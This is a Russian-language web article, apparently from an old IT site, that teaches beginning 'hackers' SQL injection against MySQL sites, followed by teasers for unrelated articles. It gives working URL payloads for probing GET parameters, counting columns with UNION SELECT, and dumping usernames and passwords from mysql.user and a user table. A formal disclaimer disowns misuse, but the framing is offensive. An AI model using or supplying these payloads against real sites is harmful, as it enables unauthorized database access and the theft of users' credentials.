$25.30


$43.06


$45.42


SQL injection

Что побудило меня написать эту статью?
Желание поделиться навыками, с другими начинающими хакерами.

Статья эта написана только в целях повышения уровня знаний и за любое другое применение автор не несёт ответственности!!!

Все примеры описаны для Mysql.

Теория.

1. Обнаружение SI.

Во первых нам надо узнать, использует ли сервер SQL вообще, для этого по бродим по ссылкам, если через URL(То есть методом GET) передаются числовые параметры, то сервер скорее всего использует SQL, чтобы убидиться в этом подставим несуществующее значение (Обычно подходит — 1 или 99999), если сервер, в том месте где должна быть информация, выдал пустое место, значит SQL используется!!!

Возможно два способа!
1.1 Подставляем «/*
После такой подстановки, если Magicquotes = off, Сервер выдаст ошибку или пустую страницу, это говорит о том, что сервер скорее всего подвержен атаке.

Происходит это из — за того что запрос принимает вот такой вид:
$query=mysql_query(« select* from `table` where `id`=»«/* and `id2`=»id2«);
Вряд ли кодеры предусматривали такой вариант и вставили пустое значение в id =)


1.2 Проверяем Математикой =)
Итак предположим на » ответ отрицательный, тогда проверим корректно ли написан запрос!
Предположим мы имеем дело с таким параметром id=2 при этом сервер выдал нам какую-то информацию.

Теперь проверим =) Подставляем в id математическое выражение т.е. id=3-1 если сервер выдал ту же информацию, сервер 95\% подвержен атаке =)

Реализация...

Мы не можем узнать как выглядит запрос в перво источнике, но для теоретического понимания приведу пример, и что происходит с запросом, при вставке нашего кода.

$query=mysql_query(« select * from `table` where `id`=id and `id2`=«id2»);
или
$query=mysql_query(» select * from `table` where `id`=«id» and `id2`=«id2»); при выключенных MAGICQUOTES

Итак мы вставляем в id следующее значение — id = — 1+union+select+1,2/* или id = — 1«+union+select+1,2/* во втором случае.

Запрос превращается вот в такой:
$query=mysql_query(» select* from `table` where `id`= — 1 union select 1,2/* and `id2`=»id2«);
$query=mysql_query(" select* from `table` where `id`=» — 1« union select 1,2/* and `id2`=»id2');
Union используется для обьединения запросов.

Нам нужно узнать, сколько полей используется в запросе.Делается это следующим запросом —
id= — 1+union+select+1/*
/* — используется для того, чтобы не работала остальная часть запроса, и обозначает открытие коментария.

Если выдаётся ошибка типа «select statement ...» Значит используется больше полей! Изменяем запрос
id= — 1+union+select+1,2/*
И добавляем до тех пор, пока не получим вывод без сообщений об ошибках!
Итак мы добились своего! Идём дальше =) Предположим мы знаем имена таблиц(если нет, то можно воспользоваться программой от rst(rst.void.ru))

В первую очередь проверяем, есть ли права на выборку из БД `mysql` Составляем вот такой запрос
id= — 1+union+select+user,password+from+mysql.user/*
Где user,password — имена полей для выборки! Если на страницу выводиться только один результат, то можно перебирать результаты используя функцию SQL — limit ...

Предположим, мы знаем, что есть таблица, имя которой reguser, и вней есть поля usr и pwd =)
Чтобы их вывести составляем такой запрос
id= — 1+union+select+usr,pwd+from+reguser/*

Вот и всё, это мои знания по SQL Injection которых мне пока хватает =)
Greetz: Всем, кто описывал этот тип атаки =)

 

Интересное

Компьютер на замке
Хакеры, спамеры, недобросовестные сотрудники и коллеги... Плохишам и просто праздным любопытным вход в компьютер должен быть заказан. Как и важным данным — выход оттуда.Вместе с...
Подробнее...
Закачка файла на сервер с PHP
В более поздних версиях есть возможность использовать специальный массив ($http_post_files), но в данном уроке описывается более ранний метод.В нашем примере мы будем использовать следующий код...
Подробнее...
Печать из Linux на Windows...
1. Предисловие Перед нами стоит задача печати документов на Win-принтере (Canon LBP — 810) из Linux (ALT Master 2.2/2.4). Canon LBP — 810 подключен (USB-подключение) и настроен на Win-компьютере...
Подробнее...
Каким станет...
Интернет самоуправляем, он ежедневно пополняется миллионами разрозненных документов. И поиск нужных сведений в таком колоссальном массиве усложняется. Именно поисковые механизмы – один из...
Подробнее...
Основы позиционирования блоков
Блоки — прямоугольные области, используемые в CSS для формирования и отображения документов. Это упрощенно, очень сильно упрощенно, но на первом этапе вполне может и хватить.С появлением нового...
Подробнее...
Все о тэге Title
Тэг Title – один из самых важных факторов, позволяющих достичь высоких позиций сайта в результатах поиска. Однако, при всей кажущейся простоте его использования, существует множество нюансов и...
Подробнее...
FreeBSD и безопасность
Введение FreeBSD — достаточно безопасная операционная система.Поскольку исходные тексты распространяются бесплатно, операционная система постоянно проходит проверку. Но систему можно настроить...
Подробнее...
PHP кодировка писем
У меня часто спрашивают, как отсылать письма с помощью php в правильной кодировке: после отправки письма с русскими буквами, на почту людям приходит абракадабра.А все дело в том, что для почты у...
Подробнее...
Как за нами шпионят
Spyware – это термин, определяющий приложения, которые записывают информацию о поведении пользователя в сети Интернет и сообщают об этом своим создателям. Результатом их действия может стать как...
Подробнее...
Проверка данных из формы
Наверное все встречались с некоторой недобросовестностью некоторых посетителей Вашей страничкипри отправлении форм... То ерунду какую то напишут, то неправильно укажут адрес электронной почты, то...
Подробнее...